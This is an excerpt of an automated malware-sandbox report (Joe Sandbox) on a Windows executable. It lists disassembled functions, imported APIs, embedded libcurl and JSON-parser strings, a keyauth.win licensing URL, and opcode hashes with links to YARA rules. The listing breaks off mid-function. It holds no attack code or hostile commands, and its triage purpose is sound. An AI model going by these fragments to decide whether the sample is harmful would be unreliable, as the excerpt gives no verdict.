Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ff93a7ff90db5c03afc919c651086042200295bbab4818e17e53cf2dce08d76c
Instruction ID: a85c21218423938a4e2f341ff5eba9b7c4f9536edbcc2e00bd3144216c68ddf8
Opcode Fuzzy Hash: ff93a7ff90db5c03afc919c651086042200295bbab4818e17e53cf2dce08d76c
Instruction Fuzzy Hash: 5771EC7A558B81C2D740AF61E8942BC73B8FB88F89F580631CE9E5A35CCF389156C635

Function 00007FF747D3AE1F Relevance: 37.2, APIs: 18, Strings: 3, Instructions: 459COMMON

Download Yara Rule

APIs

_dclass.API-MS-WIN-CRT-MATH-L1-1-0 ref: 00007FF747D3AE27
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3B8E3
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3B911
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3B91F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3B95A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3B999

Strings

object, xrefs: 00007FF747D3BBA8
number overflow parsing ', xrefs: 00007FF747D3B81F
array, xrefs: 00007FF747D3BA19

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$_dclass
String ID: array$number overflow parsing '$object
API String ID: 1391767211-579821726
Opcode ID: b4181fabc4b1670fa255aea07025be61e2b85e2ee8de99fa825b751f8390a22b
Instruction ID: d4c18a42a2f1363fd4f3a091bf42e1cd9eace674fa50f5491d6add0843511c13
Opcode Fuzzy Hash: b4181fabc4b1670fa255aea07025be61e2b85e2ee8de99fa825b751f8390a22b
Instruction Fuzzy Hash: 6F229062A2CB85C6EB10EB68D8443ADA321FF457A4F904335DA6D07AD9DF7CE086C710

Function 00007FF747D834C0 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 312networkCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF747D835A9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D835F0
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D83846
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8385D
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D83878
htons.WS2_32 ref: 00007FF747D838D7

Strings

CNAME: %s, xrefs: 00007FF747D837D3
DOH AAAA: , xrefs: 00007FF747D836F2
DOH A: %u.%u.%u.%u, xrefs: 00007FF747D836BE
Could not DOH-resolve: %s, xrefs: 00007FF747D83516
%s, xrefs: 00007FF747D83793
DOH: %s type %s for %s, xrefs: 00007FF747D83624
bad error code, xrefs: 00007FF747D83608
DOH Host name: %s, xrefs: 00007FF747D83671
TTL: %u seconds, xrefs: 00007FF747D83685
AAAA, xrefs: 00007FF747D83616
%s%02x%02x, xrefs: 00007FF747D8373E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: calloc$_strdupfreehtonsmemset
String ID: %s$%s%02x%02x$AAAA$CNAME: %s$Could not DOH-resolve: %s$DOH A: %u.%u.%u.%u$DOH AAAA: $DOH Host name: %s$DOH: %s type %s for %s$TTL: %u seconds$bad error code
API String ID: 130798683-4053692942
Opcode ID: dd297c6df8cd8424e2bd6f979904963bf5a1dead78cd15da62e6547e348515e1
Instruction ID: 39043d6d22db492d0cb4965b59d707bcae1e2020a90eef7492d5d4d100d130f3
Opcode Fuzzy Hash: dd297c6df8cd8424e2bd6f979904963bf5a1dead78cd15da62e6547e348515e1
Instruction Fuzzy Hash: 95E17D72A2C682C6EB60BF14D4403ADB7A4FB45B94F855231DA9E17748DF3CE546CB20

Function 00007FF747D398F8 Relevance: 35.4, APIs: 17, Strings: 3, Instructions: 423COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A054
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3A082
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3A090
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A0CB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A10A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3AAFE

Strings

object, xrefs: 00007FF747D3A319
number overflow parsing ', xrefs: 00007FF747D39F90
array, xrefs: 00007FF747D3A18A

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: array$number overflow parsing '$object
API String ID: 1346393832-579821726
Opcode ID: 45795471a48e67c8abc9e4026c2df720b199cf89e055554f4f9b8d24a099660b
Instruction ID: 38a3f1d1285df15ea43e5b76b8b122aed371f6804039162868fb761860be4308
Opcode Fuzzy Hash: 45795471a48e67c8abc9e4026c2df720b199cf89e055554f4f9b8d24a099660b
Instruction Fuzzy Hash: 06129462B2CA85C6FB10FB68D5443ADA321EB857A4F805331DA6D17AD9DF7CE086C710

Function 00007FF747D7E420 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 257stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E4A6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E4CC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E4DD
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E54B
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E57C
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E59C
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E5AE
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E610
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E681
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E698
strchr.VCRUNTIME140(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E753
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E7C7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000,00000000,00007FF747D7DBDF), ref: 00007FF747D7E7D0

Strings

base, xrefs: 00007FF747D7E6D9
sub, xrefs: 00007FF747D7E704
LDAP, xrefs: 00007FF747D7E466
onetree, xrefs: 00007FF747D7E6C6
one, xrefs: 00007FF747D7E6B3
subtree, xrefs: 00007FF747D7E717

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$free$_strdupcalloc
String ID: LDAP$base$one$onetree$sub$subtree
API String ID: 112326314-884163498
Opcode ID: e236e2e6d817617efa494662559fcc5df441cb7a7ccf82c35be98ef86a44c401
Instruction ID: 3109d31750528788669ee5826266fa0063ef6f785078fd4a685ae4b4fa35a497
Opcode Fuzzy Hash: e236e2e6d817617efa494662559fcc5df441cb7a7ccf82c35be98ef86a44c401
Instruction Fuzzy Hash: C6B19266A2DB86C2EB55BB259410279E790FF49784FC48635DE8D0B784EF3CE446CB20

Function 00007FF747D7C5F0 Relevance: 35.2, APIs: 4, Strings: 16, Instructions: 175stringCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140 ref: 00007FF747D7C651
memchr.VCRUNTIME140 ref: 00007FF747D7C687
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D7C70B
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D7C79B

Strings

%s (%d) %s (%d), xrefs: 00007FF747D7C75D
blksize is larger than max supported, xrefs: 00007FF747D7C841
%s (%d), xrefs: 00007FF747D7C825, 00007FF747D7C848
blksize, xrefs: 00007FF747D7C6EF
%s (%ld), xrefs: 00007FF747D7C802
tsize parsed from OACK, xrefs: 00007FF747D7C7A4
requested, xrefs: 00007FF747D7C74A
invalid blocksize value in OACK packet, xrefs: 00007FF747D7C85E
%s (%ld), xrefs: 00007FF747D7C7AB
blksize is smaller than min supported, xrefs: 00007FF747D7C81E
got option=(%s) value=(%s), xrefs: 00007FF747D7C6CC
blksize parsed from OACK, xrefs: 00007FF747D7C743
tsize, xrefs: 00007FF747D7C77F
server requested blksize larger than allocated, xrefs: 00007FF747D7C7F8
invalid tsize -:%s:- value in OACK packet, xrefs: 00007FF747D7C877
Malformed ACK packet, rejecting, xrefs: 00007FF747D7C88A

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memchrstrtol
String ID: %s (%d)$%s (%d) %s (%d)$%s (%ld)$%s (%ld)$Malformed ACK packet, rejecting$blksize$blksize is larger than max supported$blksize is smaller than min supported$blksize parsed from OACK$got option=(%s) value=(%s)$invalid blocksize value in OACK packet$invalid tsize -:%s:- value in OACK packet$requested$server requested blksize larger than allocated$tsize$tsize parsed from OACK
API String ID: 1626215102-895336422
Opcode ID: 389a94f45e149e10ada5d78404fb401863fe9fe4206c8ef92805649dd6b5d67c
Instruction ID: 341284f9f1868c4a9266027db8739a66e808e1aa46b665ecc7541594b536f74b
Opcode Fuzzy Hash: 389a94f45e149e10ada5d78404fb401863fe9fe4206c8ef92805649dd6b5d67c
Instruction Fuzzy Hash: 4861C0A0B2D642D9EA24BB26E8002B9E254AF41BD0FD44331C91E5B6D1DF3CE10BCB60

Function 00007FF747D4C710 Relevance: 34.9, APIs: 6, Strings: 17, Instructions: 352COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D46040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D50640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF747D42471), ref: 00007FF747D46067
Part of subcall function 00007FF747D46040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D50640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF747D42471), ref: 00007FF747D46073

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C9A4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C9AC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C9D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C9DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4CA60
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4CA69

Strings

attachment, xrefs: 00007FF747D4C95B, 00007FF747D4C962
form-data, xrefs: 00007FF747D4CC16
application/octet-stream, xrefs: 00007FF747D4C836
multipart/mixed, xrefs: 00007FF747D4C805
Content-Type: %s%s%s, xrefs: 00007FF747D4CA8D
; name=", xrefs: 00007FF747D4C9FF
multipart/form-data, xrefs: 00007FF747D4CB67
Content-Transfer-Encoding, xrefs: 00007FF747D4CAD1
Content-Transfer-Encoding: %s, xrefs: 00007FF747D4CBF1
Content-Disposition, xrefs: 00007FF747D4C8D1
8bit, xrefs: 00007FF747D4CBEA
multipart/, xrefs: 00007FF747D4C947
; boundary=, xrefs: 00007FF747D4CA83
Content-Disposition: %s%s%s%s%s%s%s, xrefs: 00007FF747D4CA29
text/plain, xrefs: 00007FF747D4C87C
Content-Type, xrefs: 00007FF747D4C798
; filename=", xrefs: 00007FF747D4C9F1

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
API String ID: 1294909896-1595554923
Opcode ID: d0f9f5741b8606d7082873dd084e5b5c62746362a97b26e35185e4727763db7a
Instruction ID: 377f192e84a6bd15e2b49e822a2560a912e72cce8ae1bf3187fbf832afd3f228
Opcode Fuzzy Hash: d0f9f5741b8606d7082873dd084e5b5c62746362a97b26e35185e4727763db7a
Instruction Fuzzy Hash: 7EE1BE22B6C652D2FA64BB11D5012B9A790BF01B84FC84775CE4D57781EF3CE85ACB20

Function 00007FF747D36320 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 463COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D34320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34351

memcpy.VCRUNTIME140 ref: 00007FF747D36496
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF747D36528
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF747D36569
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D366B3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D366F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D36740
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D36781
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D367DE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D36898

Part of subcall function 00007FF747D8FB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF747D343FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D8FB32

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D368D9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D369A6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D369E7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D36A0A

Strings

; last read: ', xrefs: 00007FF747D365EC
; expected , xrefs: 00007FF747D36930
syntax error , xrefs: 00007FF747D3636D
unexpected , xrefs: 00007FF747D36823
rsing , xrefs: 00007FF747D36478

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy$Concurrency::cancel_current_taskmalloc
String ID: ; expected $; last read: '$rsing $syntax error $unexpected
API String ID: 264867259-3075834232
Opcode ID: 9d7d61f4c3d02218e256affeb54d8d628810e04e4d710cc77930749f09e94d0a
Instruction ID: 0c7ae37d94fc53bb28bda4d46fbf61057b2382700c024673943433461215f56e
Opcode Fuzzy Hash: 9d7d61f4c3d02218e256affeb54d8d628810e04e4d710cc77930749f09e94d0a
Instruction Fuzzy Hash: 3712C462E2CA42C6EB14FB64E54436DA761EB457E8F804331DA6D13BD9DE7CE086C710

Function 00007FF747D4A330 Relevance: 31.8, APIs: 21, Instructions: 269stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D4B280: _time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,00007FF747D4ACFE,?,?,?,?,?,?,?,?,?,?,00000000,00007FF747D519C9), ref: 00007FF747D4B2A3
Part of subcall function 00007FF747D4B280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B2F9
Part of subcall function 00007FF747D4B280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B303
Part of subcall function 00007FF747D4B280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B30D
Part of subcall function 00007FF747D4B280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B317
Part of subcall function 00007FF747D4B280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B321
Part of subcall function 00007FF747D4B280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B32B
Part of subcall function 00007FF747D4B280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B335
Part of subcall function 00007FF747D4B280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B33F
Part of subcall function 00007FF747D4B280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B348

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A427
strchr.VCRUNTIME140 ref: 00007FF747D4A441
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A46B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A478
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A4A2
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A4B6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A4C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A4DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A4EA
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A4F8
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A513
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A52F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A54B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A567
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A583
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A59F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A5BB
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4A5D3
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A66B
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF747D4A6A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A6E3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup$_time64callocmallocqsortstrchrstrncmp
String ID:
API String ID: 1087521380-0
Opcode ID: 2e53ff19ecb3a8b38f1d63baef50b79b2243b4e56db0847dfde610ffbf885c05
Instruction ID: 5e28ec65eee55c0f7dd3d82de24b67e95decb2f5c81c5995bbac1ebb3e823d2a
Opcode Fuzzy Hash: 2e53ff19ecb3a8b38f1d63baef50b79b2243b4e56db0847dfde610ffbf885c05
Instruction Fuzzy Hash: DEB1BE21A6EB42D5EE65BB25D515379A7A0BF88B94F880770CE4D037C4DF2CE452CB20

Function 00007FF747D5EEE0 Relevance: 30.1, APIs: 7, Strings: 10, Instructions: 312stringCOMMON

Download Yara Rule

APIs

tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5EFD5
strchr.VCRUNTIME140 ref: 00007FF747D5F075
memcpy.VCRUNTIME140 ref: 00007FF747D5F0A5
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D5F0D1
strchr.VCRUNTIME140 ref: 00007FF747D5F11C
memcpy.VCRUNTIME140 ref: 00007FF747D5F17B

Part of subcall function 00007FF747D4B430: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D4B474

tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5F294

Strings

:%u, xrefs: 00007FF747D5EFE9, 00007FF747D5F2A8
Added %s:%d:%s to DNS cache, xrefs: 00007FF747D5F38D
], xrefs: 00007FF747D5F155
RESOLVE %s:%d is wildcard, enabling wildcard checks, xrefs: 00007FF747D5F3BE
RESOLVE %s:%d is - old addresses discarded!, xrefs: 00007FF747D5F31B
%255[^:]:%d, xrefs: 00007FF747D5EF61
@, xrefs: 00007FF747D5F166
Resolve address '%s' found illegal!, xrefs: 00007FF747D5F1FB
Couldn't parse CURLOPT_RESOLVE entry '%s'!, xrefs: 00007FF747D5F20A
Couldn't parse CURLOPT_RESOLVE removal entry '%s'!, xrefs: 00007FF747D5EF77

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpystrchrtolower$__stdio_common_vsscanfstrtoul
String ID: %255[^:]:%d$:%u$@$Added %s:%d:%s to DNS cache$Couldn't parse CURLOPT_RESOLVE entry '%s'!$Couldn't parse CURLOPT_RESOLVE removal entry '%s'!$RESOLVE %s:%d is - old addresses discarded!$RESOLVE %s:%d is wildcard, enabling wildcard checks$Resolve address '%s' found illegal!$]
API String ID: 1094891576-1753329177
Opcode ID: 2844ed0effed1fe397a68b4e1a8124bd816c60ffca8f10f412f787e44cf8c05d
Instruction ID: e605658c9ca1f9f45ce9c823460b2d1ee16f815869fb44fd0b009643abd95f36
Opcode Fuzzy Hash: 2844ed0effed1fe397a68b4e1a8124bd816c60ffca8f10f412f787e44cf8c05d
Instruction Fuzzy Hash: 29D19D62A2C686C6EB24BB21D4007F9A760FB45798FC54731DA5D1BAC5DF3CE402CB20

Function 00007FF747D742C0 Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 284stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7430D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D743FF
strchr.VCRUNTIME140 ref: 00007FF747D74341

